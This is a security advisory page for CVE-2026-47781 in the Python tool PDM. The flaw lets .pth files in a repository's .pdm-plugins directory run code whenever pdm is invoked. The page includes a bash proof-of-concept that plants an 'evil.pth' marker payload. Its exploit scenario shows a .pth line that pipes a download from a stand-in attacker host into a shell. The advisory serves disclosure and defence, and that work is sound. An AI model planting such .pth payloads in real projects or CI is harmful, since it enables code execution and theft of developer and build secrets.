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PDM CVE-2026-47781

HIGH
Code Injection (CWE-94)
2026-06-11 https://github.com/pdm-project/pdm GHSA-qq6c-99pv-prvf
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Severity by source

vuln.today AI
7.8 HIGH

Local attack vector via repository contents, low complexity (one-line .pth), no attacker privileges needed, but victim must run pdm in the malicious checkout (UI:R); full CIA impact as invoking user.

3.1 AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
4.0 AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Estimated by vuln.today — no official severity rating has been published for this CVE yet.

Lifecycle Timeline

2
Source Code Evidence Fetched
Jun 11, 2026 - 13:50 vuln.today
Analysis Generated
Jun 11, 2026 - 13:50 vuln.today

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 46 pypi packages depend on pdm (40 direct, 7 indirect)

Ecosystem-wide dependent count for version 2.27.0.

DescriptionCVE.org

Summary

PDM automatically loads project-local plugin paths from .pdm-plugins during Core initialization. Because this path is added via site.addsitedir(), attacker-controlled .pth files inside the project plugin directory are processed and can execute Python code before normal CLI handling begins.

This allows arbitrary code execution with the privileges of the user running pdm from an untrusted repository checkout.

Affected Behavior

  • Trigger does not require pdm install --plugins
  • A low-impact command such as pdm --version is sufficient
  • Impact is strongest in CI, privileged shells, and automation contexts

Affected Code

  • src/pdm/core.py:74-82
  • src/pdm/core.py:310-333
  • src/pdm/core.py:335-352

Technical Details

Core.__init__() calls load_plugins() before ordinary command execution. load_plugins() calls _add_project_plugins_library(), which derives the project-local .pdm-plugins library path and adds it through site.addsitedir().

On CPython, site.addsitedir() processes .pth files found in the added directory. .pth lines beginning with import are executed immediately. This creates a trust-boundary break: project-controlled files execute before the user explicitly opts into plugin installation or plugin loading.

Impact

  • Arbitrary code execution as the invoking user
  • Potential credential theft, persistence, or workspace tampering
  • Potential privilege escalation when pdm is run via sudo, root-owned CI jobs, or privileged service accounts

Reproduction

PoC:

bash
# Replace this with a Python interpreter that can run `python -m pdm`.
PDM_PY=/path/to/python-with-pdm
tmpdir=$(mktemp -d)

cat > "$tmpdir/pyproject.toml" <<'EOF'
[project]
name = "plugin-autoload-demo"
version = "0.0.1"
EOF

purelib=$(TMPDIR_ROOT="$tmpdir/.pdm-plugins" "$PDM_PY" - <<'PY'
import os
import sys
import sysconfig

base = os.environ["TMPDIR_ROOT"]
scheme_names = sysconfig.get_scheme_names()
if (sys.platform == "darwin" and "osx_framework_library" in scheme_names) or sys.platform == "linux":
    scheme = "posix_prefix"
elif sys.version_info < (3, 10):
    scheme = "nt" if os.name == "nt" else "posix_prefix"
else:
    scheme = sysconfig.get_default_scheme()
replace_vars = {"base": base, "platbase": base}
print(sysconfig.get_path("purelib", scheme, replace_vars))
PY
)

mkdir -p "$purelib"
marker="$tmpdir/plugin-autoload-marker.txt"
printf '%s\n' "import pathlib; pathlib.Path(r'$marker').write_text('project plugin autoload executed', encoding='utf-8')" > "$purelib/evil.pth"

(
  cd "$tmpdir" &&
  "$PDM_PY" -m pdm --version
)

cat "$marker"

Expected result:

  • A temporary project is created
  • An evil.pth file is placed under .pdm-plugins
  • Running pdm --version creates a marker file before CLI exit

Observed output from local validation:

text
PDM, version 2.26.9

--- marker ---
project plugin autoload executed

Severity

High

CVSS v4.0

  • Base score: 8.4 (High)
  • Vector: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Rationale:

  • AV:L: exploitation occurs through local execution of pdm against attacker-controlled repository content
  • AC:L: no special bypass or race is required
  • AT:N: no external precondition beyond the vulnerable workflow is required
  • PR:N: the attacker does not need privileges on the victim host
  • UI:A: the victim must actively run a pdm command in the malicious checkout
  • VC:H/VI:H/VA:H: successful exploitation yields arbitrary code execution as the invoking user
  • SC:N/SI:N/SA:N: the score is kept to same-system impact only

Root Cause

Project-local plugin paths are implicitly trusted and loaded too early, and .pth processing is inherited from site.addsitedir().

Recommended Remediation

  • Do not auto-load project-local .pdm-plugins by default
  • Avoid site.addsitedir() for project-controlled plugin paths
  • If project plugins must be supported, require explicit opt-in such as --enable-project-plugins
  • Explicitly prevent .pth execution when loading project plugin paths

Disclosure Notes

This issue is a strong standalone CVE candidate because it yields direct code execution from repository-controlled files without requiring the victim to run a project script explicitly.

AnalysisAI

Local arbitrary code execution in PDM (Python Development Master) versions <= 2.26.9 allows attacker-controlled repositories to execute Python code under the invoking user's privileges when any pdm command (even pdm --version) is run inside a malicious checkout. The root cause is implicit loading of project-local .pdm-plugins via site.addsitedir(), which processes .pth files containing executable import statements before CLI parsing. …

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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Attacker publishes malicious repo with `.pdm-plugins/.../evil.pth`
Delivery
Victim clones repository in dev or CI
Exploit
Victim runs any `pdm` command (e.g. `pdm --version`)
Execution
`Core.__init__` calls `site.addsitedir('.pdm-plugins/...')`
Persist
CPython processes `.pth` and executes `import` payload
Impact
Arbitrary code runs as invoking user, enabling credential theft or persistence

Vulnerability AssessmentAI

Exploitation Exploitation requires (1) the victim to invoke any `pdm` subcommand - including read-only ones like `pdm --version` - with the current working directory inside an attacker-controlled repository checkout, (2) the repository to contain a `.pdm-plugins/` directory with a crafted `.pth` file located under the platform's purelib path (resolved via `sysconfig.get_path('purelib')`), and (3) PDM version <= 2.26.9 running on CPython, which implements the `.pth` auto-execution behavior in `site.addsitedir()`. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The vendor-assigned CVSS 4.0 score is 8.4 (High) with vector AV:L/AC:L/PR:N/UI:A and full VC/VI/VA:H, which accurately reflects local-but-trivial arbitrary code execution requiring only that the victim run any pdm command in a malicious checkout. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker publishes or contributes to a Git repository containing a `.pdm-plugins/<purelib>/evil.pth` file whose single line is `import os; os.system('curl attacker.tld/x | sh')`. A developer clones the repo and runs any pdm command - even `pdm --version` - to check the project, at which point the `.pth` is processed by `site.addsitedir()` and the payload executes as the developer's user; in a CI runner using pdm, the same payload runs under the build account with access to repo secrets. …
Remediation Vendor-released patch: PDM 2.27.0 - upgrade immediately via `pip install -U pdm` or your distribution's package manager; the release moves project plugin installations out of the in-tree `.pdm-plugins` directory into an isolated cache and ships a fixer to migrate existing plugin directories (https://github.com/pdm-project/pdm/releases/tag/2.27.0). … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 24 hours: Inventory all systems running PDM and identify versions currently in use across development teams. …

Sign in for detailed remediation steps and compensating controls.

Threat intelligence, references, and detailed analysis are available after sign-in.

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CVE-2026-47781 vulnerability details – vuln.today

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